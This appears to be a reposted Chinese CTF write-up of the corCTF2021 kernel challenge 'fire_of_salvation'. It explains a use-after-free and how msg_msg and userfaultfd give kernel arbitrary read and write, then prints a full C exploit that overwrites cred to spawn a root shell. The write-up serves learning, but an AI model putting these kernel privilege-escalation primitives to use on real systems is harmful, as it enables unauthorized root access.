[msg_msg] corCTF2021 -- fire_of_salvation

前言

msg_msg 是 kernel pwn 中经常用作堆喷的结构体. 其包含一个 0x30 大小的 header. 但 msg_msg 的威力远不如此, 利用 msg_msg 配合其他堆漏洞可以实现任意地址读写的功能.

程序分析

本题给了源码, 可以直接对着源码看. 并且题目给了编译配置文件, 所以可以直接编译一个内核以此来导入符号. 作者给了提示:

Difficulty: insaneAuthor: D3v17 and FizzBuzz101Description:
```
Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include:CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=ySMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge.hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to .
```Flag: `corctf{MsG_MsG_c4n_d0_m0r3_th@n_sPr@Y}`

值得注意的是本题内核使用的是 slab 分配器而不是 slub. 并且开了 FG_KASLR 保护.

漏洞点

题目给了增/删/改的功能, 其中漏洞点如下:

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");if (firewall_rules[idx] == NULL){printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");return ERROR;}kfree(firewall_rules[idx]);firewall_rules[idx] = NULL;return SUCCESS;
}static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{uint8_t i;rule_t **dup;printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;if (firewall_rules[idx] == NULL){printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");return ERROR;}if (firewall_rules[idx]->is_duplicated){printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");return ERROR;}for (i = 0; i < MAX_RULES; i++){if (dup[i] == NULL){dup[i] = firewall_rules[idx];firewall_rules[idx]->is_duplicated = 1;printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");return SUCCESS;}}printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");return ERROR;
}

当执行 dup 时, 会把入口规则的指针直接赋给出口规则. 而在 dele 时只会释放其中一个, 因此造成 UAF.

漏洞利用

这里的修改功能比较有意思

typedef struct
{char iface[16];char name[16];uint32_t ip;uint32_t netmask;uint16_t proto;uint16_t port;uint8_t action;uint8_t is_duplicated;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} rule_t;static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");#ifdef EASY_MODEprintk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");#endifif (firewall_rules[idx] == NULL){printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");return ERROR;}// 先修改了 iface/name, 即 rule_t 的前 0x20 字节memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);memcpy(firewall_rules[idx]->name, user_rule.name, 16);if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0){printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");return ERROR;}if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0){printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");return ERROR;}firewall_rules[idx]->proto = user_rule.proto;firewall_rules[idx]->port = ntohs(user_rule.port);firewall_rules[idx]->action = user_rule.action;printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");return SUCCESS;
}

这里就让我们只修改堆块的前 0x30 字节, 因为我们可以给一个无效的 ip 从而在修改完前 0x20 字节后就会直接返回.

这有什么用呢? 我们在看下 msg_msg 结构体:

/* one msg_msg structure for each message */
struct msg_msg {struct list_head m_list; // 消息通过双向链表连接long m_type;			// 消息类型size_t m_ts;			// 消息的大小struct msg_msgseg *next;	// 消息数据void *security;/* the actual message follows immediately */
};

可以看到 0x30 刚好到 m_ts, 所以这里我们就可以避免修改 next.

越界读泄漏内核基址

创建一个大小为 0x1000-0x30+0x20-8 大小的消息去占据 UAF 堆块, 然后修改其 m_ts 实现越界读.这时我们可以堆喷大量的 shm_file_data, 从而去泄漏 init_ipc_ns. 该全局指针不会进行二次随机化, 所以可以绕过 FG_KASLR.

任意读寻找 current task_struct

有了内核基址后, 就可以找到 init_task 地址了, 然后可以利用任意读去遍历其子进程即 tasks 字段, 从而找到当前进程的 task_struct.

而我们知道读 msg_msgseg 时, 其终止的标志为其 next=NULL. 所以这就要求 target_addr - 8 = NULL (当然也不一定这样, 比如 target_addr-0x18=NULL也是可以的, 反正就是要找到一个 NULL 位置). 而这里比较 Nice 的是 tasks-8 就是 NULL. tasks 字段的偏移是 0x298

任意写修改 current cred

当我们调用 msgsnd 系统调用时, 其会调用 load_msg() 将用户空间数据拷贝到内核空间中. 首先是调用 alloc_msg() 分配 msg_msg 单向链表, 之后才是正式的拷贝过程, 即空间的分配与数据的拷贝是分开进行的.

struct msg_msg *load_msg(const void __user *src, size_t len)
{struct msg_msg *msg;struct msg_msgseg *seg;int err = -EFAULT;size_t alen;// 空间分配msg = alloc_msg(len); // 分配 msg 所需空间// 数据拷贝alen = min(len, DATALEN_MSG); // 一个 msg 包含 header 最大为1页if (copy_from_user(msg + 1, src, alen)) // msg+1 就是数据空间goto out_err;// 当消息的长度大于0xfd0时, 注意复制结束的标志是 seg->next = NULLfor (seg = msg->next; seg != NULL; seg = seg->next) { // 0xfd0之后的数据存储在 msg_msgseg 结构体中len -= alen;								// msg_msgseg 包含 header 最大也是1页src = (char __user *)src + alen;alen = min(len, DATALEN_SEG);if (copy_from_user(seg + 1, src, alen))goto out_err;}
......
}

如果在拷贝时利用 userfaultfd/FUSE 将拷贝停下来, 在子进程中篡改 msg_msg 的 next 指针, 在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写

并且 real_cred 前也为 NULL:

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h># define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1#ifdef EASY_MODE
#define DESC_MAX 0x800
#endiftypedef struct
{char iface[16];char name[16];char ip[16];char netmask[16];uint8_t idx; // buf[64]uint8_t type; // buf[65]uint16_t proto;uint16_t port;uint8_t action;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} user_rule_t;void convert(char* buf, uint32_t num)
{sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}void generate(char* buf, user_rule_t* rule)
{char tmp[16] = { 0 };uint32_t ip = *(uint32_t*)&buf[32];uint32_t netmask = *(uint32_t*)&buf[36];memset(tmp, 0, sizeof(tmp));convert(tmp, ip);memcpy(rule->ip, tmp, 16);memset(tmp, 0, sizeof(tmp));convert(tmp, netmask);memcpy(rule->netmask, tmp, 16);memcpy(rule->iface, buf, 16);memcpy(rule->name, &buf[16], 16);memcpy(&rule->proto, &buf[0x28], 2);memcpy(&rule->port, &buf[0x28+2], 2);memcpy(&rule->action, &buf[0x28+2+2], 1);
}int fd;
void add(uint8_t idx, char* buf, int type)
{user_rule_t rule = { 0 };generate(buf, &rule);rule.idx = idx;rule.type = type;ioctl(fd, ADD_RULE, &rule);
}void dele(uint8_t idx, int type)
{user_rule_t rule = { 0 };rule.idx = idx;rule.type = type;ioctl(fd, DELE_RULE, &rule);
}void edit(uint8_t idx, char* buf, int type, int flag)
{user_rule_t rule = { 0 };generate(buf, &rule);rule.idx = idx;rule.type = type;if (flag){strcpy(rule.ip, "invalid");strcpy(rule.netmask, "invalid");}ioctl(fd, EDIT_RULE, &rule);
}void dupl(uint8_t idx, int type)
{user_rule_t rule = { 0 };rule.idx = idx;rule.type = type;ioctl(fd, DUP_RULE, &rule);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_msg {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}size_t init_ipc_ns;
size_t kernel_offset;
size_t init_task = 0xffffffff81c124c0;
size_t init_cred = 0xffffffff81c33060;size_t target_idx;
size_t target_addr;
char copy_src[0x1000];void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");*(uint64_t*)(copy_src) = 0;*(uint64_t*)(copy_src+8) = init_cred;*(uint64_t*)(copy_src+0x10) = init_cred;char buffer[0x1000] = { 0 };struct msg_msg evil = { 0 };evil.m_type = 1;evil.m_ts = 0x1000-0x30+0x10;evil.next = target_addr;memcpy(buffer, &evil, sizeof(evil));edit(target_idx, buffer, OUTBOUND, 0);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}int main(int argc, char** argv, char** env)
{bind_core(0);fd = open("/dev/firewall", O_RDWR);if (fd < 0) err_exit("open /dev/firewall");int qid;int shm_id;char tmp[0x2000] = { 0 };char buffer[0x1000] = { 0 };struct msg_msg evil;struct msg_buf* msg_buf;msg_buf = (struct msg_buf*)tmp;add(0, buffer, INBOUND);dupl(0, INBOUND);if ((qid = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("msgget");dele(0, INBOUND);msg_buf->m_type = 1;if (msgsnd(qid, msg_buf, 0x1000-0x30+0x20-8, 0) < 0) err_exit("msgsnd");for (int i = 0; i < 0x50; i++){if ((shm_id = shmget(IPC_PRIVATE, 100, 0666)) < 0) err_exit("shmget");if (shmat(shm_id, NULL, 0) < 0) err_exit("shmat");}memset(&evil, 0, sizeof(evil));evil.m_type = 1;evil.m_ts = 0x1000-0x30+0x1000-0x8;memcpy(buffer, &evil, sizeof(evil));edit(0, buffer, OUTBOUND, 1);int res = msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0x1000-0x30+0x20-8) err_exit("failed to hit UAF chunk");binary_dump("OOR DATA", msg_buf->m_text+0xfd0, 0x100);for (int i = 0; i < 0xfd0 / 0x20; i++){if (((*(size_t*)(msg_buf->m_text+0xfd0+0x20*i))&0xfff) == 0x7a0){init_ipc_ns = *(size_t*)(msg_buf->m_text+0xfd0+0x20*i);break;}}kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;init_task += kernel_offset;init_cred += kernel_offset;hexx("init_ipc_ns", init_ipc_ns);hexx("kernel_offset", kernel_offset);hexx("init_task", init_task);hexx("init_cred", init_cred);uint32_t pid, cur_pid;uint64_t prev, curr;pid = -1;cur_pid = getpid();hexx("current pid", cur_pid);prev = init_task + 0x298;memset(&evil, 0, sizeof(evil));memset(buffer, 0, sizeof(buffer));evil.m_type = 1;evil.m_ts = 0x1000-0x30+0x1000-0x8;while (pid != cur_pid){curr = prev - 0x298;evil.next = prev - 8;memcpy(buffer, &evil, sizeof(evil));edit(0, buffer, OUTBOUND, 0);memset(msg_buf, 0, sizeof(msg_buf));msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);memcpy(&prev, msg_buf->m_text+0xfd8, 8);memcpy(&pid, msg_buf->m_text+0x10d0, 4);hexx(" searched pid", pid);}hexx("current task_struct", curr);pthread_t thr;char* uffd_buf = mmap(0, 2*0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf < 0) err_exit("mmap for uffd_uffd");msg_buf = (struct msg_buf*)(uffd_buf+0x30);msg_buf->m_type = 1;register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);target_idx = 1;target_addr = curr + 0x530;memset(buffer, 0, sizeof(buffer));add(1, buffer, INBOUND);dupl(1, INBOUND);dele(1, INBOUND);if (msgsnd(qid, msg_buf, 0x1000-0x30+0x10, 0) < 0) err_exit("msgsnd to triger userfaultfd");hexx("UID", getuid());system("/bin/sh");puts("[+] END");return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/145838.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux/麒麟系统上部署Vue+SpringBoot前后端分离项目

目录 1. 前端准备工作 1.1 在项目根目录创建两份环境配置文件 1.2 环境配置 2. 后端准备工作 2.1 在项目resources目录创建两份环境配置文件 2.2 环境配置 3. 前后端打包 3.1 前端打包 3.2 后端打包 4、服务器前后端配置及部署 4.1 下载、安装、启动Nginx 4.2 前端项目部署…

Elasticsearch搜索分析引擎本地部署与远程访问

文章目录 系统环境1. Windows 安装Elasticsearch2. 本地访问Elasticsearch3. Windows 安装 Cpolar4. 创建Elasticsearch公网访问地址5. 远程访问Elasticsearch6. 设置固定二级子域名 Elasticsearch是一个基于Lucene库的分布式搜索和分析引擎&#xff0c;它提供了一个分布式、多…

【小白的Spring源码手册】 BeanFactoryPostProcessor的注册和用法(BFPP)

目录 前言应用1. 手动注册2. 自动注册3. 优先级 前言 沿用上一篇文章的流程图&#xff0c;我们的注解类应用上下文中的AnnotationConfigApplicationContext#scan(String...)方法已经将所有BeanDefinition注册到了IoC容器中。完成注册后&#xff0c;开始执行AbstractApplicatio…

物联网AI MicroPython学习之语法UART通用异步通信

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; UART 介绍 模块功能: UART通过串行异步收发通信 接口说明 UART - 构建UART对象 函数原型&#xff1a;UART(id, baudrate&#xff0c;bits, parity&#xff0c;stop, tx, rx)参数说明&#xff1a; 参数类…

3GPP协议解读(一)_23.501_23.502_PDU Session_SMF与UDP的交互

UE发起计算服务申请后&#xff0c;网络侧处理的流程 UE发起服务的流程&#xff1a;service request网络侧处理服务涉及的通信数据通过PDU Session进行传输&#xff0c;涉及到SMF与UPF的交互。PDU Session的建立、管理全部由SMF&#xff08;Session Management Function&#x…

基于JavaWeb+SpringBoot+掌上社区疫苗微信小程序系统的设计和实现

基于JavaWebSpringBoot掌上社区疫苗微信小程序系统的设计和实现 源码获取入口前言主要技术系统设计功能截图Lun文目录订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种…

windows使用lcx端口转发登陆远程主机

1.编译lcx源码: GitHub - UndefinedIdentifier/LCX: 自修改免杀lcx端口转发工具 2.在win7上安装vs2010并编译生成lcx.exe 3.在要被控制主机上运行: lcx -slave 192.168.31.248 51 192.168.31.211 3389 192.168.31.248为远程主控制主机,51为远程主机端口 192.168.31.211为被…

C语言--写一个函数返回bool值,来判断给定的字符串A和B(假设都是小写字母),是否是B中的字符都存在于A中,如果是返回true,否则返回false

一.题目描述 写一个函数返回bool值&#xff0c;来判断给定的字符串A和B&#xff08;假设都是小写字母&#xff09;&#xff0c;是否是B中的字符都存在于A中&#xff0c;如果是返回true&#xff0c;否则返回false。例如&#xff1a; 字符串A&#xff1a;abcde 字符串B&#xff…

顶部动态菜单栏的使用

效果图 开发环境 vue3 关键逻辑 //导航栏状态选择 const navbarSolid ref(false); //初始化导航栏高度 const navbarHeight ref(0);/*** 根据滚动距离改变样式*/ function checkNavbarOpacity() {navbarSolid.value window.pageYOffset > navbarHeight.value / 2; }/**…

html使用天地图写一个地图列表

一、效果图&#xff1a; 点击左侧地址列表&#xff0c;右侧地图跟着改变。 二、代码实现&#xff1a; 一进入页面时&#xff0c;通过body调用onLoad"onLoad()"函数&#xff0c;确保地图正常显示。 <body onLoad"onLoad()"><!--左侧代码-->…

Python入门简介及下载安装,超详细教学!

文章目录 一、Python简介&#xff1a;Python解释器的类型Python的运行机制1、查看 Python 版本2、第一个Python3.x程序3、Python 应用 二、Python安装&#xff08;windows&#xff09;1、下载2、安装步骤&#xff1a; 三、运行Python1、交互式解释器&#xff1a;扩展&#xff1…

鸿蒙LiteOs读源码教程+向LiteOS中添加一个系统调用

本文分为2个部分&#xff1a;第1部分简要介绍如何读鸿蒙Liteos源码&#xff0c;第2部分是实验向LiteOS中添加一个系统调用的完整过程。 前置资料&#xff1a; imx6ull开发板使用方式详解 源码下载 编译运行简单程序 Ubuntu虚拟机使用鸿蒙LiteOs操作系统常见错误汇总 一、鸿…

在Qt设计师(Qt Designer )控件面板加入自定义控件

目录 1. 问题的提出 2. 本次开发环境说明 3. 具体实现 4. 注意的问题 5. 参考链接 1. 问题的提出 在Qt开发中&#xff0c;经常利用Qt设计师&#xff08;Qt Designer &#xff09;把界面设计好&#xff0c;将界面放到ui文件中&#xff0c;将逻辑处理放到cpp文件中&#xff…

计算机视觉基础(9)——相机标定与对极几何

前言 本节我们将学习相机标定和对极几何两部分的内容。 在相机标定部分&#xff0c;我们将学习直接线性变换&#xff08;Direct Linear Transform, DL&#xff09;,张正友标定法&#xff08;Zhang’s Method&#xff09;和 Perspective-n-Point (PnP) 这三种方法。 在对极几何部…

SpringJDBC模板类JdbcTemplate

Spring JdbcTemplate使用JdbcTemplate完成增删改查环境准备新增修改删除查询一个对象批量添加批量修改和批量删除使用德鲁伊连接池&#xff08;之前数据源是用我们自己写的&#xff09; JdbcTemplate JdbcTemplate是Spring提供的一个JDBC模板类&#xff0c;是对JDBC的封装&…

某60区块链安全之51%攻击实战学习记录

区块链安全 文章目录 区块链安全51%攻击实战实验目的实验环境实验工具实验原理攻击过程 51%攻击实战 实验目的 1.理解并掌握区块链基本概念及区块链原理 2.理解区块链分又问题 3.理解掌握区块链51%算力攻击原理与利用 4.找到题目漏洞进行分析并形成利用 实验环境 1.Ubuntu1…

2023数维杯国际赛数学建模竞赛选题建议及B题思路讲解

大家好呀&#xff0c;2023年第九届数维杯国际大学生数学建模挑战赛今天早上开赛啦&#xff0c;在这里先带来初步的选题建议及思路。 目前团队正在写B题和D题完整论文&#xff0c;后续还会持续更新哈&#xff0c;大家三连关注一下防止迷路。 注意&#xff0c;本文只是比较简略…

企业微信获取第三方应用凭证

上一篇介绍了如何配置通用开发参数及通过url回调验证&#xff0c; 本篇将通过服务商后台配置关联小程序应用配置和获取第三方凭证及如何配置企业可信IP。 当然上篇配置的回调设置也不会白费&#xff0c;在下方的指令和数据回调会用到。 第三方应用开发流程 官方企业微信第三方…

Beego之Bee工具使用

1、bee工具使用 bee 工具是一个为了协助快速开发 Beego 项目而创建的项目&#xff0c;通过 bee 你可以很容易的进行 Beego 项目的创 建、热编译、开发、测试、和部署。Bee工具可以使用的命令&#xff1a; [rootzsx ~]# bee 2023/02/18 18:17:26.196 [D] init global config…

van-dialog弹窗异步关闭-校验表单

van-dialog弹窗异步关闭 有时候我们需要通过弹窗去处理表单数据&#xff0c;在原生微信小程序配合vant组件中有多种方式实现&#xff0c;其中UI美观度最高的就是通过van-dialog嵌套表单实现。 通常表单涉及到是否必填&#xff0c;在van-dialog的确认事件中直接return是无法阻止…